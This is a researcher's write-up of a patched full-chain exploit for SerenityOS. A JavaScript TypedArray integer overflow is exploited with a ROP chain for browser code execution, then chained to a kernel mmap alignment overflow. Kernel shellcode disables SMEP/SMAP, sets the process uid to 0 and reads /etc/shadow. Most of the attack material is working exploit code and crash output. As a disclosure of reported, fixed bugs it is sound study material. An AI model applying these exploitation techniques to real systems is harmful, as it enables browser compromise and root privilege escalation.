I recently came across SerenityOS when it was featured in hxp CTF and then on LiveOverflow’s YouTube channel. SerenityOS is an open source operating system written from scratch by Andreas Kling and now has a strong and active community behind it. If you’d like to learn a bit more about it then the recent CppCast episode is a good place to start, as well as all of the fantastic videos by Andreas Kling.

Two of the recent videos were about writing exploits for a typed array bug in javascript, and a kernel bug in munmap. The videos were great to watch and got me thinking that it would be fun to try and find a couple of bugs that could be chained together to create a full chain exploit such as exploiting a browser bug to exploit a kernel bug to get root access.


I started looking around and discovered an integer overflow when creating a typed array from an array buffer, the length was multiplied by the element size which could overflow. Userland/Libraries/LibJS/Runtime/TypedArray.cpp#L69

static void initialize_typed_array_from_array_buffer(GlobalObject& global_object, TypedArrayBase& typed_array, ArrayBuffer& array_buffer, Value byte_offset, Value length)
    // SNIP ...

    auto buffer_byte_length = array_buffer.byte_length();
    size_t new_byte_length;
    if (length.is_undefined()) {
        if (buffer_byte_length % element_size != 0) {
            vm.throw_exception<RangeError>(global_object, ErrorType::TypedArrayInvalidBufferLength, typed_array.class_name(), element_size, buffer_byte_length);
        if (offset > buffer_byte_length) {
            vm.throw_exception<RangeError>(global_object, ErrorType::TypedArrayOutOfRangeByteOffset, offset, buffer_byte_length);
        new_byte_length = buffer_byte_length - offset;
    } else {
        new_byte_length = new_length * element_size;
        if (offset + new_byte_length > buffer_byte_length) {
            vm.throw_exception<RangeError>(global_object, ErrorType::TypedArrayOutOfRangeByteOffsetOrLength, offset, offset + new_byte_length, buffer_byte_length);
    typed_array.set_array_length(new_byte_length / element_size);

This could be used to create two powerful primitives, one that could read an arbitrary address and the other that could read an arbitrary amount from some allocated memory. These were the same primitives that Kling created in his video which meant that the issue could be exploited in exactly the same way:

  • Finding a vtable pointer with the offset primitive by spraying lots of Numbers
  • Use the deterministic memory layout to calculating the stack location
  • Find the saved return address on the stack
  • Overwriting it with a rop chain.

While I was looking into exploiting this, someone else spotted the same issue and it was quickly patched.


As I had already started and wanted to keep using the same issue, I kept working from this commit which still had the bug :)

Exploiting the issue is pretty much identical to the video above and it does a great job explaining what is going on, so I wont go into too much detail. Here Is what I ended up with:

  function log(msg) {

  log("starting hax");

  const AAAs = 2261634.509804;
  const spray_size = 2000;
  const spray = new Array(spray_size);

  for (let i = 0; i < spray_size / 2; i++) {
    spray[i] = new Number(AAAs);

  // Create an array with a null backing store allowing arbitary rw
  ab1 = new ArrayBuffer();
  ua1 = new Uint32Array(ab1, 4, 0x3fffffff);

  // Create an array with a large length but a valid backing store
  ab2 = new ArrayBuffer(0x50000);
  ua2 = new Uint32Array(ab2, 4, 0x3fffffff);

  for (let i = spray_size / 2; i < spray_size; i++) {
    spray[i] = new Number(AAAs);

  log("done spraying");

  function read(addr) {
    return ua1[addr / 4 - 1];

  function write(addr, value) {
    ua1[addr / 4 - 1] = value;

  // 0x6c000 is the offset from the array buffer to the next heap allocation
  function read_heap(off) {
    return ua2[0x6c000 / 4 + off];

  function write_heap(off, value) {
    ua2[0x6c000 / 4 + off] = value;

  let number_i = 0;

  log("looking for 0x41414141");
  for (let i = 0; i < 100; i++) {
    if (read_heap(i) == 0x41414141) {
      log("found 0x" + i.toString(16) + ": 0x" + read_heap(i).toString(16));
      number_i = i;

  const number_i_vtable = number_i - 8;

  const libjs_data_addr = read_heap(number_i_vtable) - 0x28ac;
  const libjs_addr = libjs_data_addr - 0xe0000;
  const stack_addr = libjs_addr - 0x2537000;

  log("libjs_data_addr 0x" + libjs_data_addr.toString(16));
  log("libjs_addr 0x" + libjs_addr.toString(16));
  log("stack_addr 0x" + stack_addr.toString(16));

  log("looking for stack return");
  let stack_ret = 0;
  for (let i = stack_addr + 0x400000 - 4; i > stack_addr; i -= 4) {
    if (read(i) == libjs_addr + 0x5af5e) {
      log("found stack_ret 0x" + i.toString(16) + ": 0x" + read(i).toString());
      stack_ret = i;
  write(stack_ret, 0x12345678);

Loading the above in the browser resulting in a crash at 0x12345678:

[Browser(37:37)]: CPU[0] NP(error) fault at invalid address V0x12345678
[Browser(37:37)]: Unrecoverable page fault, instruction fetch / read from address V0x12345678
[Browser(37:37)]: CRASH: CPU #0 Page Fault. Ring 3.
[Browser(37:37)]: exception code: 0014 (isr: 0000
[Browser(37:37)]:   pc=001b:12345678 flags=0246
[Browser(37:37)]:  stk=0023:026ff2e4
[Browser(37:37)]:   ds=0023 es=0023 fs=0023 gs=002b
[Browser(37:37)]: eax=026ff3c0 ebx=0491ce8c ecx=00000000 edx=0491e4a0
[Browser(37:37)]: ebp=026ff378 esp=c2a48fe8 esi=00000005 edi=02d0dfd8
[Browser(37:37)]: cr0=80010013 cr2=12345678 cr3=07351000 cr4=003006e4
[Browser(37:37)]: CPU[0] NP(error) fault at invalid address V0x12345678
[Browser(37:37)]: 0x12345678  (?)

Since we can write any amount to the stack, it was fairly straight forward to build a rop chain that mmapped a region, put some shellcode there, mprotected it to make it executable, then jump there:

const libc_addr = libjs_addr - 0x122000;
const mmap_addr = libc_addr + 0x1b379;
const memcpy_addr = libc_addr + 0x002f51d;
const mprotect_addr = libc_addr + 0x1b487;

const shellcode = [0xcccccccc];

// write our shellcode to a know location (start of the stack)
const shellcode_addr = stack_addr;
for (let i = 0; i < shellcode.length; i++) {
  write(shellcode_addr + i * 4, shellcode[i]);

log("shellcode_addr: 0x" + shellcode_addr.toString(16));

// rop gadgets
// 0x000462f3: pop esi; pop edi; pop ebp; ret;
// 0x0007bda9: add esp, 0x10; pop esi; pop edi; pop ebp; ret;

pop7_addr = libjs_addr + 0x0007bda9;
pop3_adr = libjs_addr + 0x000462f3;

log("pop7_addr: 0x" + pop7_addr.toString(16));
log("pop3_adr: 0x" + pop3_adr.toString(16));

// 1. map region at 0x9d000000
// 2. memcpy our shellcode there
// 3. make it executable
// 4. jump there
write(stack_ret, mmap_addr);
const rop = [
  pop7_addr, //ret

  pop3_adr, // ret

  pop3_adr, // ret

for (let i = 0; i < rop.length; i++) {
  write(stack_ret + 4 * (2 + i), rop[i]);

// finish to trigger the rop chain

After loading this up and setting a breakpoint with gdb at 0x9d000000:


Success! Arbitrary code in the browser.

Kernel Bug Hunting

Next it was time to try and find a kernel bug that could be reached from the browser process. There had been a few issues with integer overflows, so I started looking for places that this might happen. After some searching I saw the following in RangeAllocator::allocate_anywhere:

for (size_t i = 0; i < m_available_ranges.size(); ++i) {
    auto& available_range = m_available_ranges[i];

    // FIXME: This check is probably excluding some valid candidates when using a large alignment.
    if (available_range.size() < (effective_size + alignment))

Each process has a list of available ranges that are used when allocating memory regions. This code is looping through all the ranges and seeing if there is one large enough to hold the requested size, taking into account the alignment (both effective_size and alignment are controlled by the user). The issue is that effective_size + alignment can overflow, resulting in a range being chosen that is too small to hold the requested size.

The available_range is then used to create a new allocated range:

    FlatPtr initial_base = available_range.base().offset(offset_from_effective_base).get();
    FlatPtr aligned_base = round_up_to_power_of_two(initial_base, alignment);

    Range allocated_range(VirtualAddress(aligned_base), size);
    if (available_range == allocated_range) {
        dbgln<VRA_DEBUG>("VRA: Allocated perfect-fit anywhere({}, {}): {}", size, alignment, allocated_range.base().get());
        return allocated_range;
    carve_at_index(i, allocated_range);

    return allocated_range;

If it isn’t exactly equal then it carves out the range and add the remaining range back into m_available_ranges:

void RangeAllocator::carve_at_index(int index, const Range& range)
    auto remaining_parts = m_available_ranges[index].carve(range);
    ASSERT(remaining_parts.size() >= 1);
    m_available_ranges[index] = remaining_parts[0];
    if (remaining_parts.size() == 2)
        m_available_ranges.insert(index + 1, move(remaining_parts[1]));

Vector<Range, 2> Range::carve(const Range& taken)
    Vector<Range, 2> parts;
    if (taken == *this)
        return {};
    if (taken.base() > base())
        parts.append({ base(), taken.base().get() - base().get() });
    if (taken.end() < end())
        parts.append({ taken.end(), end().get() - taken.end().get() });

    return parts;

This code all assumes that the range being taken is smaller than the existing range, but due to the overflow this isn’t the case. For example, take the following call with a size of 0x1000 and an alignment of 0xffffe000:

void *ptr = serenity_mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_NORESERVE, -1, 0, 0xffffe000, "hax");

This will return a region at 0xffffe000 and add an available range to the process of 0xf01000 -> 0xffffdfff.

So using the bug we could allocate a region that overlaps with the top of kernel space by reducing the alignment and increasing the size. Alternatively, the example above could be used with multiple calls to mmap to return a region that overlaps with the bottom of the kernel region.

Overwriting kernel space with nulls is great and all, but being able to control the content is much nicer than just causing a triple fault. Luckily SerenityOS has something called AnonymousFiles which can be used with a shared mapping to achieve this.

   int fd = anon_create(size, 0);
   void *mapped_file = serenity_mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0, 0x1000, NULL);
   memcpy(mapped_file, payload, payload_len);

   // later on when we overwrite kernel space
   serenity_mmap(NULL, size, PROT_READ | PROT_EXEC, MAP_SHARED, fd, 0, 0x1000, NULL);

Since there was no point in not doing so, reported the bug at SerenityOS/serenity#5162 and it was quickly fixed :)


We have most of the pieces to exploit this now, but one of the issues is that the replacement is not very selective and will overwrite all of the kernel regions up to a page aligned boundary that we can choose. These new regions will only take effect after Processor::flush_tlb_local has been called, which as the name suggests, will flush the TLB and cause the virtual address to read from the new physical page.

After a bit of trial and error, I came up with the following plan:

  • overwrite everything up to 0xc0119000 in the kernel
  • using an AnonymousFile, replace the kernel regions with what was already there (dumped via gdb previously)
  • put some shellcode at 0xc0001000 to avoid smep and smap issues
  • inject a small hook into flush_tlb_local right after the flush to jump to 0xc0001000
  • since flush_tlb_local is located at 0xc0118e70, flushing the tlb of this final page will cause the injected region to be used, which happens after mmaping the region

After much head scratching, debugging, and klog messages had the following hax.cpp:

  hax_kern.h generated from gdb with `dump memory kern.bin 0xc0114000 0xc0119000` then `xxd -i kern.bin > hax_kern.h`

#include "hax_kern.h"
#include <AK/Format.h>
#include <mman.h>
#include <serenity.h>
#include <string.h>

// from kernel.map
#define FLUSH_TBL_LOCAL_ADDR 0xc0118e70

void log(const char* msg);
void log(const char* msg)
    dbgputstr(msg, strlen(msg));

int main()
    log("starting hax\n");

    // get the address of the first availible range
    void* first = serenity_mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_NORESERVE, -1, 0, 0x1000, NULL);

    // size of the final mmap that will overwrite the kernel
    size_t overwrite_size = 0x5000000;

    // how much of the kernel region will be overwritten (from 0xc0000000)
    size_t overflow_amount = 0x119000;

    // address right after the tlb flush happens
    size_t flush_tlb_local_addr = FLUSH_TBL_LOCAL_ADDR + 25 - 0xc0000000;

    // offset from 0xc0000000 to start replacing kernel with the original
    size_t kern_start_addr = 0x114000;

    // offset from 0xc0000000 where shellcode is
    size_t payload_addr = 0x1000;

    // locations for copying data in the AnonymousFile
    size_t flush_tlb_local_offset = overflow_amount - flush_tlb_local_addr;
    size_t kern_start_offset = overflow_amount - kern_start_addr;
    size_t payload_offset = overflow_amount - payload_addr;

    // create the AnonymousFile
    int fd = anon_create(overwrite_size, 0);
    void* mapped_file = serenity_mmap(NULL, overwrite_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0, 0x1000, NULL);

    //mov eax, 0xc0001000
    //jmp eax
    u8 shellcode[] = { 0xb8, 0x00, 0x10, 0x00, 0xc0, 0xff, 0xe0 };

    // int 3 for testing
    unsigned char payload_bin[] = {
    unsigned int payload_bin_len = 1;

    // copy the original kernel, the flush_tlb_local hook, and the shellcode to the correct offsets
    memcpy((void*)((size_t)mapped_file + overwrite_size - kern_start_offset), kern_bin, kern_bin_len);
    memcpy((void*)((size_t)mapped_file + overwrite_size - flush_tlb_local_offset), shellcode, sizeof(shellcode));
    memcpy((void*)((size_t)mapped_file + overwrite_size - payload_offset), payload_bin, payload_bin_len);

    log("injecting mapping\n");
    // trigger the overflow and invalid availible_range to be added
    serenity_mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_NORESERVE, -1, 0, 0xfffff000 - 0x1000, NULL);

    void* ptr = NULL;
    log("grooming regions\n");

    // make sure that there are no availible regions that are left that can fit our final size of 0x5000000
    size_t i = (size_t)first;
    while (i < 0xb0000000) {
        i += 0x4000000;
        ptr = serenity_mmap((void*)i, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_NORESERVE | MAP_FIXED, -1, 0, 0x1000, NULL);

    // create a chunk that will take up the remaining space to align our final region correctly
    size_t end = 0xc0000000 - 0x3000 - (size_t)ptr - overwrite_size + overflow_amount;

    log("filling up to last region to correct location\n");
    ptr = serenity_mmap(NULL, end, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0, 0x1000, NULL);

    // overwrite the kernel region
    log("overwritting kernel mapping\n");
    serenity_mmap(NULL, overwrite_size, PROT_READ | PROT_EXEC, MAP_SHARED, fd, 0, 0x1000, NULL);

    while (true) { }

    return 0;

Compiling and running this resulted in our payload being jumped to and the breakpoint trap being hit!

starting hax
injecting mapping
grooming regions
filling up to last region to correct location
overwritting kernel mapping
[hax(27:27)]: Breakpoint Trap in Ring0

We now can inject arbitrary shellcode into the kernel! One major issue is that we have made a few rw regions r-x and any context switches or numerous other things will cause a kernel panic.

Since the current page table is already mapped to 0xffe00000 (due to the call to MM.ensure_pte from Region::map_individual_page_impl(size_t page_index), we can loop over all of the entries there and make them writeable and executable (remove nx) then flush the tlb again.

After doing this the kernel was slightly more stable, but it still pretty much crashed the moment that the hax process was context switched. Setting the thread priority helped, allowing the hax process to keep on doing things before the kernel panicked.

It’s much easier to do things in userland, so the remaining job of the shellcode was to set the uid of the process to 0 (to become root) and to make sure we had all of the promises to perform any syscall. The final shellcode was:

; python -c 'from pwn import *; write("payload.bin", asm(read("payload.asm").decode().replace("; ", "// ")))'
; xxd -i payload.bin

; check if payload has already run
mov eax, 0xc0108f00
cmp dword ptr [eax], 0x12345678
je already_done

; clear smep and smap
mov eax, cr4
and eax , 0xfff
mov cr4, eax

; loop over current page table and make everything user, read/write and executable
mov eax, 0xffe00000
mov ebx, [eax]
test ebx, ebx
jz next

or ebx, 0x6
mov [eax], ebx
mov dword ptr [eax+4], 0
add eax, 8
cmp eax, 0xffe01000
je end
jmp loop


; flush tlb
mov eax, cr3
mov cr3, eax

; mark as done
mov eax, 0xc0108f00
mov ecx, 0x12345678
mov [eax], ecx

; get current thread via Kernel::Thread::current
mov    eax,fs:0x0
mov    edx,DWORD PTR fs:0x0
cmp    eax,edx
je     got_thread
mov eax, 0xc01192c7
call eax

; set priority very high
mov dword ptr [eax + 0x2c0], 99
mov dword ptr [eax + 0x2c4], 0x50000000

; get current process via Kernel::Process::current
mov eax, 0xc01fb033
call eax

; set uid/guid/euid to 0
mov dword ptr [eax + 0x38], 0
mov dword ptr [eax + 0x40], 0
mov dword ptr [eax + 0x48], 0

; give all promises
mov dword ptr [eax + 0x140], 0xffffffff
mov dword ptr [eax + 0x144], 0xffffffff

; set veil_state to 0
mov dword ptr [eax + 0x14c], 0

pop    ebp

We can the compile the shellcode, add it to hax.cpp (replacing payload_bin) and then try to do some things as root:

    // ...

    // overwrite the kernel region
    log("overwritting kernel mapping\n");
    serenity_mmap(NULL, overwrite_size, PROT_READ | PROT_EXEC, MAP_SHARED, fd, 0, 0x1000, NULL);

    // make the exploit a bit more stable by make sure everything is loaded already
    char buff[200] = {};
    open("/ggg", O_RDONLY, 0);
    read(-1, buff, 199);

    // overwrite the kernel region
    log("overwritting kernel mapping\n");
    serenity_mmap(NULL, overwrite_size, PROT_READ | PROT_EXEC, MAP_SHARED, fd, 0, 0x1000, NULL);

    int fds = open("/etc/shadow", O_RDONLY, 0);
    read(fds, buff, 199);
    log("/etc/shadow: ");

    while (true) { }

    return 0;

Resulting in the process becoming root with just enough time to do a few things before everything crashed!

starting hax
injecting mapping
grooming regions
filling up to last region to correct location
overwritting kernel mapping
/etc/shadow: root:

[WindowServer(16:16)]: CPU[0] NP(error) fault at invalid address V0xffe08000
[WindowServer(16:16)]: Unrecoverable page fault, write to address V0xffe08000
[WindowServer(16:16)]: CRASH: CPU #0 Page Fault. Ring 0.
[WindowServer(16:16)]: exception code: 0002 (isr: 0000
[WindowServer(16:16)]:   pc=0008:c01c7cc9 flags=0046
[WindowServer(16:16)]:  stk=0010:c180ac78
[WindowServer(16:16)]:   ds=0010 es=0010 fs=0030 gs=002b
[WindowServer(16:16)]: eax=00000000 ebx=c01151a8 ecx=00000400 edx=ffe08000
[WindowServer(16:16)]: ebp=c180ace0 esp=c180ac78 esi=c05ce014 edi=ffe08000
[WindowServer(16:16)]: cr0=80010013 cr2=ffe08000 cr3=0140f000 cr4=000006e4
[WindowServer(16:16)]: code: f3 ab 89 34 24 e8 d1 f3
[WindowServer(16:16)]: Crash in ring 0 :(
[WindowServer(16:16)]: 0xc011c71b
[WindowServer(16:16)]: 0xc011cbc8
[WindowServer(16:16)]: 0xc0118c0b
[WindowServer(16:16)]: 0xc01c38f1
[WindowServer(16:16)]: 0xc01d1cc9
[WindowServer(16:16)]: 0xc01cb714
[WindowServer(16:16)]: 0xc011c8bb
[WindowServer(16:16)]: 0xc0118c0b


The final stage was to combine the kernel exploit with the browser exploit. The hax.cpp kernel exploit was already being compiled with PIE, but it depended on libc and a few other dynamic libraries. There was probably a way to just statically compile it but in the end I just copied all of the required functions and syscalls in so that nothing else was needed :)

It could then be included and run directly in the previous browser exploit using a quick python script to get it into the right format:

from pwn import *

data = read("./Build/Userland/Utilities/hax")[0x4C0:] # address of main
print("const shellcode = {};".format(unpack_many(data, 32)))

Putting it all together, hosting it, the firing up br http://aw.rs/hax.html in serenity:

LaunchServer(30): Received connection
Browser(28): FrameLoader::load: http://aw.rs/hax.html
LookupServer(31): Using network config file at /etc/LookupServer.ini
Browser(28): Added new tab 0x02df07e8, loading http://aw.rs/hax.html
Browser(28): I believe this content has MIME type 'text/html', , encoding 'utf-8'
starting hax
injecting mapping
grooming regions
filling up to last region to correct location
[Browser(28:28)]: kmalloc(): Adding memory to heap at V0xc2cf7000, bytes: 1048576
overwritting kernel mapping
/etc/shadow: root:


Next steps

Since starting this there have been a whole heap of mitigations implemented to make exploiting bugs harder in SerenityOS, including better aslr, better W^X, a new prot_exec promise as well as many others.

In the next post I’ll take a look at the same two issues again, but with all of the recent mitigations applies and see how that changes things :)


All the files can be found at here